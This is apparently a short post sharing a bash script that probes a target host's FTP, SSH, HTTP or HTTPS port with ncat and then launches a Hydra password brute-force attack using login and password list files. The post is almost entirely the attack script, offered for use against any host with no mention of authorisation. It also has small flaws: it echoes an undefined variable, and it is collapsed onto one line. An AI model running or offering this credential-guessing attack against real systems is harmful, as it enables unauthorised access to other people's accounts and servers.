Run Hydra in bash upon a password list;
ncat for the potential port for each protocol, some additional port / protocol could be added of course.
You will require to set couple of file, one would be login (one user per line) + password (still one by line)
#!/bin/bash if [ -z "${1}" ]; then echo "" echo "${0} 'IP or host' 'Protocol'" echo "" exit fi PASSFILE="passwords.txt" LOGIN="login" IP="${1}" PROTO="${2}" if [ "${PROTO}" == "ftp" ]; then PORT="21" elif [ "${PROTO}" == "ssh" ]; then PORT="22" elif [ "${PROTO}" == "http" ]; then PORT="80" elif [ "${PROTO}" == "https" ]; then PORT="443" fi echo "Testing: $ip" ncat ${1} ${PORT} -w 2 < /dev/null ST="$?" if [ "${ST}" == "0" ]; then hydra -L ${LOGIN} -P ${PASSFILE} ${1} ${PROTO} fi